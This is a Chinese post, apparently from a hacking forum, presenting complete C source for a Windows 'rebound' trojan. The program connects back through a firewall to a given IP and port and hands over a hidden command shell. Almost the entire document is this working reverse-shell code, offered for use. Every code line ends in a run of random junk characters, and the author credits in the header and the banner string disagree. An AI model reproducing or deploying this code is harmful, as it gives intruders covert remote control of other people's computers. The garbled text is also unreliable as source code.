这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BZ?C k[E]Z
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/* ============================== 5b7(^T^K
Rebound port in Windows NT kFWwz^x
By wind,2006/7 {h7 vJ^
===============================*/ 3W%6n-*u
#include eKvr1m- -
#include d"9tP&
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#pragma comment(lib,"wsock32.lib") hr
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void OutputShell(); vTO9XHc E
SOCKET sClient; BsIF3sS#9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [~s+,OO9)
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void main(int argc,char **argv) _|#abLh%
{ |(3y09
WSADATA stWsaData; :rVR{,pL
int nRet; 0% rDDB
SOCKADDR_IN stSaiClient,stSaiServer; M\C9^DX{
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if(argc != 3) q()o|V
{ T,pr&1]Lw
printf("Useage:\n\rRebound DestIP DestPort\n"); `Npa/Q
return; xo_STLAw
} rMDvnF
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WSAStartup(MAKEWORD(2,2),&stWsaData); S)W xTE9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2{rWAPHgz
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stSaiClient.sin_family = AF_INET; vPNbV
stSaiClient.sin_port = htons(0); @-!P1]V|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #:gd9os :
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #c^]p/
{ x|rc[e%k
printf("Bind Socket Failed!\n"); JX=rL6Y@:;
return; gT+g@\u[
} A*y4<'}<
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stSaiServer.sin_family = AF_INET; L/tpT?$fi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @ep.wW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N>H@vt~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L@S\ rImw
{ 4>jHS\jc
printf("Connect Error!"); O2{["c
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return; s|Mo3_>
} |u>(~6
OutputShell(); nHdQe
} XHk"nbj
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void OutputShell() dw"Es;^
{ oe|#!SM(
char szBuff[1024]; `q*[fd1u.
SECURITY_ATTRIBUTES stSecurityAttributes; fs'SCwx
OSVERSIONINFO stOsversionInfo; kXwAw]ogN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c4tw)O-X
STARTUPINFO stStartupInfo; ##rkyd
char *szShell; 5^g*
PROCESS_INFORMATION stProcessInformation; P51M?3&=l
unsigned long lBytesRead; R5uG.Oj-2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %;'~TtW5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %GhI0F #
stSecurityAttributes.lpSecurityDescriptor = 0; 1Toiqb/
stSecurityAttributes.bInheritHandle = TRUE; O+}py{ st
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8Sr'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,UY1.tR(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ks#3
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z{rV|vQ
stStartupInfo.wShowWindow = SW_HIDE; -#|;qFD]
stStartupInfo.hStdInput = hReadPipe; <1|[=$w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Tx;a2:6\[
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GetVersionEx(&stOsversionInfo); #rkq
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switch(stOsversionInfo.dwPlatformId) qIi
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{ _i05'_
case 1: r:g\
szShell = "command.com"; f$C{Z9_SX
break; EqW~K@
default: 1+FVM\<&
szShell = "cmd.exe"; q?}C`5%D
break; k[r^@|
} Lnh=y2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2RkW/)A9
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send(sClient,szMsg,77,0); >yC=@Uq+
while(1) U,=f};
{ }>@\I^Xm,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @_+aX.,
if(lBytesRead) 1h$?,
{ ;'7(gAE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T*x2+(r
send(sClient,szBuff,lBytesRead,0); |MwV4^
} I1<WHq
else 6'# 5Dqw"r
{ ~>CvZ7K
lBytesRead=recv(sClient,szBuff,1024,0); G}nJ3
if(lBytesRead<=0) break; lFzVd
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {kpF etXt?
} ]fM|cN8(zM
} ;{ifLI0#
s)1-xA{'.
return; :PO./IBX
}